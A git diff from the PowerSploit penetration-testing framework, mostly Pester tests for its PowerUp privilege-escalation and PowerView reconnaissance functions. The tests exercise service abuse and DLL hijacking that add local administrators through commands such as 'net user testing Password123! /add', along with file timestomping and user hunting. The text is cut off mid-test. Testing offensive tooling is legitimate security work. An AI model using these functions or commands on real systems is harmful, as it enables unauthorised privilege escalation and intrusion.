ModuleToProcess = 'ScriptModification.psm1' ModuleToProcess = 'ScriptModification.psm1'
# Version number of this module. # Version number of this module.
ModuleVersion = '1.0.0.0' ModuleVersion = '3.0.0.0'
# ID used to uniquely identify this module # ID used to uniquely identify this module
GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610' GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'
@ -12,9 +12,6 @@ GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'
# Author of this module # Author of this module
Author = 'Matthew Graeber' Author = 'Matthew Graeber'
# Company or vendor of this module
CompanyName = ''
# Copyright statement for this module # Copyright statement for this module
Copyright = 'BSD 3-Clause' Copyright = 'BSD 3-Clause'
@ -24,65 +21,11 @@ Description = 'PowerSploit Script Preparation/Modification Module'
# Minimum version of the Windows PowerShell engine required by this module # Minimum version of the Windows PowerShell engine required by this module
PowerShellVersion = '2.0' PowerShellVersion = '2.0'
# Name of the Windows PowerShell host required by this module
# PowerShellHostName = ''
# Minimum version of the Windows PowerShell host required by this module
# PowerShellHostVersion = ''
# Minimum version of the .NET Framework required by this module
# DotNetFrameworkVersion = ''
# Minimum version of the common language runtime (CLR) required by this module
# CLRVersion = ''
# Processor architecture (None, X86, Amd64) required by this module
# ProcessorArchitecture = ''
# Modules that must be imported into the global environment prior to importing this module
# RequiredModules = @()
# Assemblies that must be loaded prior to importing this module
# RequiredAssemblies = @()
# Script files (.ps1) that are run in the caller's environment prior to importing this module.
# ScriptsToProcess = ''
# Type files (.ps1xml) to be loaded when importing this module
# TypesToProcess = @()
# Format files (.ps1xml) to be loaded when importing this module
# FormatsToProcess = @()
# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
# NestedModules = @()
# Functions to export from this module # Functions to export from this module
FunctionsToExport = '*' FunctionsToExport = '*'
# Cmdlets to export from this module
CmdletsToExport = '*'
# Variables to export from this module
VariablesToExport = ''
# Aliases to export from this module
AliasesToExport = ''
# List of all modules packaged with this module.
ModuleList = @(@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'})
# List of all files packaged with this module # List of all files packaged with this module
FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1', FileList = 'ScriptModification.psm1', 'ScriptModification.psd1', 'Out-CompressedDll.ps1', 'Out-EncodedCommand.ps1',
'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md' 'Out-EncryptedScript.ps1', 'Remove-Comments.ps1', 'Usage.md'
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
# HelpInfo URI of this module
# HelpInfoURI = ''
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
} }

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,49 @@
Set-StrictMode -Version Latest
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
filter Assert-NotLittleEndianUnicode {
[CmdletBinding()]
param (
[Parameter(Mandatory = $True,
ValueFromPipelineByPropertyName = $True,
ValueFromPipeline = $True)]
[Alias('FullName')]
[String[]]
$FilePath
)
$LittleEndianMarker = 48111 # 0xBBEF
Write-Verbose "Current file: $FilePath"
Write-Debug "Current file: $FilePath"
if ([System.IO.Directory]::Exists($FilePath)) {
Write-Debug "File is a directory."
return
}
if (-not [System.IO.File]::Exists($FilePath)) {
Write-Debug "File does not exist."
return
}
$FileBytes = Get-Content -TotalCount 3 -Encoding Byte -Path $FilePath
if ($FileBytes.Length -le 2) {
Write-Debug "File must be at least 2 bytes in length."
return
}
if ([BitConverter]::ToUInt16($FileBytes, 0) -eq $LittleEndianMarker) {
Write-Debug "File contains little endian unicode marker."
throw "$_ is little-endian unicode encoded."
}
}
Describe 'ASCII encoding of all scripts' {
It 'should not contain little-endian unicode encoded scripts or modules' {
{ Get-ChildItem -Path $ModuleRoot -Recurse -Include *.ps1,*.psd1,*.psm1 | Assert-NotLittleEndianUnicode } | Should Not Throw
}
}

570
Tests/Privesc.tests.ps1 Normal file
View File

@ -0,0 +1,570 @@
Set-StrictMode -Version Latest
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
$ModuleManifest = "$ModuleRoot\Privesc\Privesc.psd1"
Remove-Module [P]rivesc
Import-Module $ModuleManifest -Force -ErrorAction Stop
# import PowerUp.ps1 manually so we expose the helper functions for testing
$PowerUpFile = "$ModuleRoot\Privesc\PowerUp.ps1"
Import-Module $PowerUpFile -Force -ErrorAction Stop
function Get-RandomName {
$r = 1..8 | ForEach-Object{Get-Random -max 26}
return ('abcdefghijklmnopqrstuvwxyz'[$r] -join '')
}
function Test-IsAdmin {
return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
}
########################################################
#
# PowerUp helpers functions.
#
########################################################
Describe 'Get-ModifiableFile' {
It 'Should output a file path.' {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Null | Out-File -FilePath $FilePath -Force
try {
$Output = Get-ModifiableFile -Path $FilePath
$Output | Should Be $FilePath
}
finally {
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
}
}
It 'Should extract a modifiable file specified as an argument in a command string.' {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Null | Out-File -FilePath $FilePath -Force
$CmdPath = "'C:\Windows\System32\nonexistent.exe' -i '$FilePath'"
try {
$Output = Get-ModifiableFile -Path $FilePath
$Output | Should Be $FilePath
}
finally {
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
}
}
It 'Should return no results for a non-existent path.' {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Output = Get-ModifiableFile -Path $FilePath
$Output | Should BeNullOrEmpty
}
It 'Should accept a Path over the pipeline.' {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Output = $FilePath | Get-ModifiableFile
$Output | Should BeNullOrEmpty
}
}
########################################################
#
# PowerUp service enumeration functions.
#
########################################################
Describe 'Get-ServiceUnquoted' {
if(-not $(Test-IsAdmin)) {
Throw "'Get-ServicePermission' Pester test needs local administrator privileges."
}
It "Should not throw." {
{Get-ServiceUnquoted} | Should Not Throw
}
It 'Should return service with a space in an unquoted binPath.' {
$ServiceName = Get-RandomName
$ServicePath = "C:\Program Files\service.exe"
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
Start-Sleep -Seconds 1
$Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
sc.exe delete $ServiceName | Should Match "SUCCESS"
$Output | Should Not BeNullOrEmpty
$Output.ServiceName | Should Be $ServiceName
$Output.Path | Should Be $ServicePath
}
It 'Should not return services with a quoted binPath.' {
$ServiceName = Get-RandomName
$ServicePath = "'C:\Program Files\service.exe'"
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
Start-Sleep -Seconds 1
$Output = Get-ServiceUnquoted | Where-Object { $_.ServiceName -eq $ServiceName }
sc.exe delete $ServiceName | Should Match "SUCCESS"
$Output | Should BeNullOrEmpty
}
}
Describe 'Get-ServiceFilePermission' {
if(-not $(Test-IsAdmin)) {
Throw "'Get-ServiceFilePermission' Pester test needs local administrator privileges."
}
It 'Should not throw.' {
{Get-ServiceFilePermission} | Should Not Throw
}
It 'Should return a service with a modifiable service binary.' {
try {
$ServiceName = Get-RandomName
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
$Null | Out-File -FilePath $ServicePath -Force
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
$Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
sc.exe delete $ServiceName | Should Match "SUCCESS"
$Output | Should Not BeNullOrEmpty
$Output.ServiceName | Should Be $ServiceName
$Output.Path | Should Be $ServicePath
}
finally {
$Null = Remove-Item -Path $ServicePath -Force
}
}
It 'Should not return a service with a non-existent service binary.' {
$ServiceName = Get-RandomName
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS"
$Output = Get-ServiceFilePermission | Where-Object { $_.ServiceName -eq $ServiceName }
sc.exe delete $ServiceName | Should Match "SUCCESS"
$Output | Should BeNullOrEmpty
}
}
Describe 'Get-ServicePermission' {
if(-not $(Test-IsAdmin)) {
Throw "'Get-ServicePermission' Pester test needs local administrator privileges."
}
It 'Should not throw.' {
{Get-ServicePermission} | Should Not Throw
}
It 'Should return a modifiable service.' {
$Output = Get-ServicePermission | Where-Object { $_.ServiceName -eq 'Dhcp'}
$Output | Should Not BeNullOrEmpty
}
}
Describe 'Get-ServiceDetail' {
It 'Should return results for a valid service.' {
$Output = Get-ServiceDetail -ServiceName Dhcp
$Output | Should Not BeNullOrEmpty
}
It 'Should return not results for an invalid service.' {
$Output = Get-ServiceDetail -ServiceName NonExistent123
$Output | Should BeNullOrEmpty
}
It 'Should accept a service name on the pipeline.' {
$Output = "Dhcp" | Get-ServiceDetail
$Output | Should Not BeNullOrEmpty
}
}
########################################################
#
# PowerUp service abuse functions.
#
########################################################
Describe 'Invoke-ServiceAbuse' {
if(-not $(Test-IsAdmin)) {
Throw "'Invoke-ServiceAbuse' Pester test needs local administrator privileges."
}
BeforeEach {
$ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe"
$Null = sc.exe create "PowerUpService" binPath= $ServicePath
}
AfterEach {
$Null = sc.exe delete "PowerUpService"
$Null = $(net user john /delete >$Null 2>&1)
}
It 'Should abuse a vulnerable service to add a local administrator with default options.' {
$Output = Invoke-ServiceAbuse -ServiceName "PowerUpService"
$Output.Command | Should Match "net"
if( -not ($(net localgroup Administrators) -match "john")) {
Throw "Local user 'john' not created."
}
}
It 'Should accept a service name on the pipeline.' {
$Output = "PowerUpService" | Invoke-ServiceAbuse
$Output.Command | Should Match "net"
if( -not ($(net localgroup Administrators) -match "john")) {
Throw "Local user 'john' not created."
}
}
It 'User should not be created for a non-existent service.' {
$Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456"
$Output.Command | Should Match "Not found"
if( ($(net localgroup Administrators) -match "john")) {
Throw "Local user 'john' should not have been created for non-existent service."
}
}
It 'Should accept custom user/password arguments.' {
$Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
$Output.Command | Should Match "net"
if( -not ($(net localgroup Administrators) -match "PowerUp")) {
Throw "Local user 'PowerUp' not created."
}
$Null = $(net user PowerUp /delete >$Null 2>&1)
}
It 'Should accept a custom command.' {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
if( -not ($(net user) -match "testing")) {
Throw "Custom command failed."
}
$Null = $(net user testing /delete >$Null 2>&1)
}
}
Describe 'Install-ServiceBinary' {
if(-not $(Test-IsAdmin)) {
Throw "'Install-ServiceBinary' Pester test needs local administrator privileges."
}
BeforeEach {
$ServicePath = "$(Get-Location)\powerup.exe"
$Null | Out-File -FilePath $ServicePath -Force
$Null = sc.exe create "PowerUpService" binPath= $ServicePath
}
AfterEach {
try {
$Null = Invoke-ServiceStop -ServiceName PowerUpService
$Null = sc.exe delete "PowerUpService"
$Null = $(net user john /delete >$Null 2>&1)
}
finally {
if(Test-Path "$(Get-Location)\powerup.exe") {
$Null = Remove-Item -Path "$(Get-Location)\powerup.exe" -Force -ErrorAction SilentlyContinue
}
if(Test-Path "$(Get-Location)\powerup.exe.bak") {
$Null = Remove-Item -Path "$(Get-Location)\powerup.exe.bak" -Force -ErrorAction SilentlyContinue
}
}
}
It 'Should abuse a vulnerable service binary to add a local administrator with default options.' {
$Output = Install-ServiceBinary -ServiceName "PowerUpService"
$Output.Command | Should Match "net"
$Null = Invoke-ServiceStart -ServiceName PowerUpService
Start-Sleep -Seconds 3
if( -not ($(net localgroup Administrators) -match "john")) {
Throw "Local user 'john' not created."
}
$Null = Invoke-ServiceStop -ServiceName PowerUpService
$Output = Restore-ServiceBinary -ServiceName PowerUpService
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
}
It 'Should accept a service name on the pipeline.' {
$Output = "PowerUpService" | Install-ServiceBinary
$Output.Command | Should Match "net"
$Null = Invoke-ServiceStart -ServiceName PowerUpService
Start-Sleep -Seconds 3
if( -not ($(net localgroup Administrators) -match "john")) {
Throw "Local user 'john' not created."
}
$Null = Invoke-ServiceStop -ServiceName PowerUpService
$Output = Restore-ServiceBinary -ServiceName PowerUpService
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
}
It 'User should not be created for a non-existent service.' {
$Output = Install-ServiceBinary -ServiceName "NonExistentService456"
$Output.Command | Should Match "Not found"
}
It 'Should accept custom user/password arguments.' {
$Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!'
$Output.Command | Should Match "net"
$Null = Invoke-ServiceStart -ServiceName PowerUpService
Start-Sleep -Seconds 3
if( -not ($(net localgroup Administrators) -match "PowerUp")) {
Throw "Local user 'PowerUp' not created."
}
$Null = $(net user PowerUp /delete >$Null 2>&1)
$Output = Restore-ServiceBinary -ServiceName PowerUpService
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
}
It 'Should accept a custom command.' {
$Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add"
$Output.Command | Should Match "net"
$Null = Invoke-ServiceStart -ServiceName PowerUpService
Start-Sleep -Seconds 3
if( -not ($(net user) -match "testing")) {
Throw "Custom command failed."
}
$Null = $(net user testing /delete >$Null 2>&1)
$Output = Restore-ServiceBinary -ServiceName PowerUpService
"$(Get-Location)\powerup.exe.bak" | Should Not Exist
}
}
########################################################
#
# PowerUp .dll hijacking functions.
#
########################################################
Describe 'Find-DLLHijack' {
It 'Should return results.' {
$Output = Find-DLLHijack
$Output | Should Not BeNullOrEmpty
}
}
Describe 'Find-PathHijack' {
if(-not $(Test-IsAdmin)) {
Throw "'Find-PathHijack' Pester test needs local administrator privileges."
}
It 'Should find a hijackable %PATH% folder.' {
New-Item -Path C:\PowerUpTest\ -ItemType directory -Force
try {
$OldPath = $Env:PATH
$Env:PATH += ';C:\PowerUpTest\'
$Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"}
$Env:PATH = $OldPath
$Output.HijackablePath | Should Be 'C:\PowerUpTest\'
}
catch {
$Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue
}
}
}
# won't actually execute on Win8+ with the wlbsctrl.dll method
Describe 'Write-HijackDll' {
It 'Should write a .dll that executes a custom command.' {
try {
Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add"
"$(Get-Location)\powerup.dll" | Should Exist
"$(Get-Location)\debug.bat" | Should Exist
}
finally {
$Null = Remove-Item -Path "$(Get-Location)\powerup.dll" -Force -ErrorAction SilentlyContinue
$Null = Remove-Item -Path "$(Get-Location)\debug.bat" -Force -ErrorAction SilentlyContinue
}
}
}
########################################################
#
# PowerUp registry checks.
#
########################################################
Describe 'Get-RegAlwaysInstallElevated' {
It 'Should not throw.' {
{Get-ServicePermission} | Should Not Throw
}
}
Describe 'Get-RegAutoLogon' {
It 'Should not throw.' {
{Get-ServicePermission} | Should Not Throw
}
}
Describe 'Get-VulnAutoRun' {
if(-not $(Test-IsAdmin)) {
Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges."
}
It 'Should not throw.' {
{Get-VulnAutoRun} | Should Not Throw
}
It 'Should find a vulnerable autorun.' {
try {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Null | Out-File -FilePath $FilePath -Force
$Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'"
$Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"}
$Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp
$Output.ModifiableFile | Should Be $FilePath
}
finally {
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
}
}
}
########################################################
#
# PowerUp misc. checks.
#
########################################################
Describe 'Get-VulnSchTask' {
if(-not $(Test-IsAdmin)) {
Throw "'Get-VulnSchTask' Pester test needs local administrator privileges."
}
It 'Should not throw.' {
{Get-VulnSchTask} | Should Not Throw
}
It 'Should find a vulnerable config file for a binary specified in a schtask.' {
try {
$FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())"
$Null | Out-File -FilePath $FilePath -Force
$Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f
$Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'}
$Null = schtasks.exe /delete /tn PowerUp /f
$Output.TaskFilePath | Should Be $FilePath
}
finally {
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
}
}
}
Describe 'Get-UnattendedInstallFile' {
if(-not $(Test-IsAdmin)) {
Throw "'Get-UnattendedInstallFile' Pester test needs local administrator privileges."
}
It 'Should not throw.' {
{Get-UnattendedInstallFile} | Should Not Throw
}
It 'Should return a leftover autorun' {
$FilePath = Join-Path $Env:WinDir "\System32\Sysprep\unattend.xml"
try {
$Null | Out-File -FilePath $FilePath -Force
$Output = Get-UnattendedInstallFile
$Output | Should Not BeNullOrEmpty
}
finally {
$Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue
}
}
}
Describe 'Get-Webconfig' {
It 'Should not throw.' {
{Get-Webconfig} | Should Not Throw
}
}
Describe 'Get-ApplicationHost' {
It 'Should not throw.' {
{Get-ApplicationHost} | Should Not Throw
}
}
Describe 'Invoke-AllChecks' {
It 'Should return results to stdout.' {
$Output = Invoke-AllChecks
$Output | Should Not BeNullOrEmpty
}
It 'Should produce a HTML report with -HTMLReport.' {
$Output = Invoke-AllChecks -HTMLReport
$Output | Should Not BeNullOrEmpty
$HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html"
$HtmlReportFile | Should Exist
$Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue
}
}

621
Tests/Recon.tests.ps1 Normal file
View File

@ -0,0 +1,621 @@
$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
$ModuleRoot = Resolve-Path "$TestScriptRoot\.."
$ModuleManifest = "$ModuleRoot\Recon\Recon.psd1"
Remove-Module [R]econ
Import-Module $ModuleManifest -Force -ErrorAction Stop
# import PowerView.ps1 manually so we expose the helper functions for testing
$PowerViewFile = "$ModuleRoot\Recon\PowerView.ps1"
Import-Module $PowerViewFile -Force -ErrorAction Stop
# Get the local IP address for later testing
$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
$LocalIP = (gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -match $IPregex}).ipaddress[0]
########################################################
#
# PowerView functions.
#
########################################################
Describe 'Export-PowerViewCSV' {
It 'Should Not Throw and should produce .csv output.' {
{Get-Process | Export-PowerViewCSV -OutFile process_test.csv} | Should Not Throw
'.\process_test.csv' | Should Exist
Remove-Item -Force .\process_test.csv
}
}
Describe 'Set-MacAttribute' {
BeforeEach {
New-Item MacAttribute.test.txt -Type file
}
AfterEach {
Remove-Item -Force MacAttribute.test.txt
}
It 'Should clone MAC attributes of existing file' {
Set-MacAttribute -FilePath MacAttribute.test.txt -All '01/01/2000 12:00 am'
$File = (Get-Item MacAttribute.test.txt)
$Date = Get-Date -Date '2000-01-01 00:00:00'
if ($File.LastWriteTime -ne $Date) {
Throw 'File LastWriteTime does Not match'
}
elseif($File.LastAccessTime -ne $Date) {
Throw 'File LastAccessTime does Not match'
}
elseif($File.CreationTime -ne $Date) {
Throw 'File CreationTime does Not match'
}
}
}
Describe 'Get-IPAddress' {
$IPregex = "(?<Address>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))"
It 'Should return local IP address' {
if( $(Get-IPAddress) -notmatch $IPRegex ) {
Throw 'Invalid local IP address returned'
}
}
It 'Should accept -ComputerName argument' {
if( $(Get-IPAddress -ComputerName $env:COMPUTERNAME) -notmatch $IPRegex ) {
Throw 'Invalid -ComputerName IP address returned'
}
}
}
Describe 'Convert-SidToName' {
It 'Should resolve built in SIDs' {
Convert-SidToName -SID 'S-1-5-32-545' | Should Be 'BUILTIN\Users'
}
It 'Should accept pipeline input' {
'S-1-5-32-552' | Convert-SidToName | Should Be 'BUILTIN\Replicators'
}
It 'Should return a unresolvable SID' {
Convert-SidToName -SID 'S-1-5-32-1337' | Should Be 'S-1-5-32-1337'
}
}
Describe 'Get-Proxy' {
It 'Should Not Throw' {
{Get-Proxy} | Should Not Throw
}
It 'Should accept -ComputerName argument' {
{Get-Proxy -ComputerName $env:COMPUTERNAME} | Should Not Throw
}
}
Describe 'Get-PathAcl' {
It 'Should Not Throw' {
{Get-PathAcl C:\} | Should Not Throw
}
It 'Should return correct ACLs' {
$Output = Get-PathAcl -Path C:\Windows | ?{$_.IdentityReference -eq "Creator Owner"}
if(-not $Output) {
Throw "Output Not returned"
}
if($Output.FileSystemRights -ne 'GenericAll') {
Throw "Incorrect FileSystemRights returned"
}
}
}
Describe 'Get-NameField' {
It 'Should extract dnshostname field from custom object' {
$Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing1'}
if ( (Get-NameField -Object $Object) -ne 'testing1') {
Throw "'dnshostname' field Not parsed correctly"
}
}
It 'Should extract name field from custom object' {
$Object = New-Object -TypeName PSObject -Property @{'name' = 'testing2'}
if ( (Get-NameField -Object $Object) -ne 'testing2') {
Throw "'name' field Not parsed correctly"
}
}
It 'Should handle plaintext strings' {
if ( (Get-NameField -Object 'testing3') -ne 'testing3') {
Throw 'Plaintext string Not parsed correctly'
}
}
It 'Should accept pipeline input' {
$Object = New-Object -TypeName PSObject -Property @{'dnshostname' = 'testing4'}
if ( ($Object | Get-NameField) -ne 'testing4') {
Throw 'Pipeline input Not processed correctly'
}
}
}
Describe 'Invoke-ThreadedFunction' {
It "Should allow threaded ping" {
$Hosts = ,"localhost" * 100
$Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}}
$Hosts = Invoke-ThreadedFunction -NoImports -ComputerName $Hosts -ScriptBlock $Ping -Threads 20
if($Hosts.length -ne 100) {
Throw 'Error in using Invoke-ThreadedFunction to ping localhost'
}
}
}
Describe "Get-NetLocalGroup" {
It "Should return results for local machine administrators" {
if ( (Get-NetLocalGroup | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
It "Should return results for listing local groups" {
if ( (Get-NetLocalGroup -ListGroups | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
# TODO: -ComputerList
It "Should accept -GroupName argument" {
{Get-NetLocalGroup -GroupName "Remote Desktop Users"} | Should Not Throw
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-NetLocalGroup -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-NetLocalGroup -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
It "Should accept pipeline input" {
if ( ( "$env:computername" | Get-NetLocalGroup | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
}
Describe "Get-NetShare" {
It "Should return results for the local host" {
if ( (Get-NetShare | Measure-Object).count -lt 1) {
Throw "Incorrect share results returned"
}
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-NetShare -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-NetShare -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect share results returned"
}
}
It "Should accept pipeline input" {
if ( ( "$env:computername" | Get-NetShare | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
}
Describe "Get-NetLoggedon" {
It "Should return results for the local host" {
if ( (Get-NetLoggedon | Measure-Object).count -lt 1) {
Throw "Incorrect loggedon results returned"
}
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-NetLoggedon -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect loggedon results returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-NetLoggedon -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect loggedon results returned"
}
}
It "Should accept pipeline input" {
if ( ( "$env:computername" | Get-NetLoggedon | Measure-Object).count -lt 1) {
Throw "Incorrect local administrators returned"
}
}
}
Describe "Get-NetSession" {
It "Should return results for the local host" {
if ( (Get-NetSession | Measure-Object).count -lt 1) {
Throw "Incorrect session results returned"
}
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-NetSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect session results returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-NetSession -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect session results returned"
}
}
It "Should accept the -UserName argument" {
{Get-NetSession -UserName 'Administrator'} | Should Not Throw
}
It "Should accept pipeline input" {
{"$env:computername" | Get-NetSession} | Should Not Throw
}
}
Describe "Get-NetRDPSession" {
It "Should return results for the local host" {
if ( (Get-NetRDPSession | Measure-Object).count -lt 1) {
Throw "Incorrect session results returned"
}
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-NetRDPSession -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect session results returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-NetRDPSession -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect session results returned"
}
}
It "Should accept pipeline input" {
{"$env:computername" | Get-NetRDPSession} | Should Not Throw
}
}
Describe "Invoke-CheckLocalAdminAccess" {
It "Should Not Throw for localhost" {
{Invoke-CheckLocalAdminAccess} | Should Not Throw
}
It "Should accept NETBIOS -ComputerName argument" {
{Invoke-CheckLocalAdminAccess -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept IP -ComputerName argument" {
{Invoke-CheckLocalAdminAccess -ComputerName $LocalIP} | Should Not Throw
}
It "Should accept pipeline input" {
{"$env:computername" | Invoke-CheckLocalAdminAccess} | Should Not Throw
}
}
Describe "Get-LastLoggedOn" {
It "Should return results for the local host" {
if ( (Get-LastLoggedOn | Measure-Object).count -lt 1) {
Throw "Incorrect loggedon results returned"
}
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-LastLoggedOn -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect loggedon results returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-LastLoggedOn -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect loggedon results returned"
}
}
It "Should accept pipeline input" {
{"$env:computername" | Get-LastLoggedOn} | Should Not Throw
}
}
Describe "Get-CachedRDPConnection" {
It "Should Not Throw" {
{Get-CachedRDPConnection} | Should Not Throw
}
It "Should accept NETBIOS -ComputerName argument" {
{Get-CachedRDPConnection -ComputerName "$env:computername"} | Should Not Throw
}
It "Should accept IP -ComputerName argument" {
{Get-CachedRDPConnection -ComputerName $LocalIP} | Should Not Throw
}
It "Should accept pipeline input" {
{"$env:computername" | Get-CachedRDPConnection} | Should Not Throw
}
}
Describe "Get-NetProcess" {
It "Should return results for the local host" {
if ( (Get-NetProcess | Measure-Object).count -lt 1) {
Throw "Incorrect process results returned"
}
}
It "Should accept NETBIOS -ComputerName argument" {
if ( (Get-NetProcess -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Incorrect process results returned"
}
}
It "Should accept IP -ComputerName argument" {
if ( (Get-NetProcess -ComputerName $LocalIP | Measure-Object).count -lt 1) {
Throw "Incorrect process results returned"
}
}
# TODO: RemoteUserName/RemotePassword
It "Should accept pipeline input" {
{"$env:computername" | Get-NetProcess} | Should Not Throw
}
}
Describe "Find-InterestingFile" {
#TODO: implement
}
Describe "Invoke-UserHunter" {
It "Should accept -ComputerName argument" {
if ( (Invoke-UserHunter -ShowAll -ComputerName "$env:computername" | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
try {
It "Should accept -ComputerFile argument" {
"$env:computername","$env:computername" | Out-File -Encoding ASCII targets.txt
if ( (Invoke-UserHunter -ComputerFile ".\targets.txt" -ShowAll | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
finally {
Remove-Item -Force ".\targets.txt"
}
It "Should accept -NoPing flag" {
if ( (Invoke-UserHunter -ComputerName "$env:computername" -UserName $env:USERNAME -NoPing | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
It "Should accept -Delay and -Jitter arguments" {
if ( (Invoke-UserHunter -ShowAll -Delay 5 -Jitter 0.2 -ComputerName @("$env:computername", "$env:computername") | Measure-Object).count -lt 1) {
Throw "Insuffient results returned"
}
}
}
Describe "Invoke-StealthUserHunter" {
# simple test of the splatting
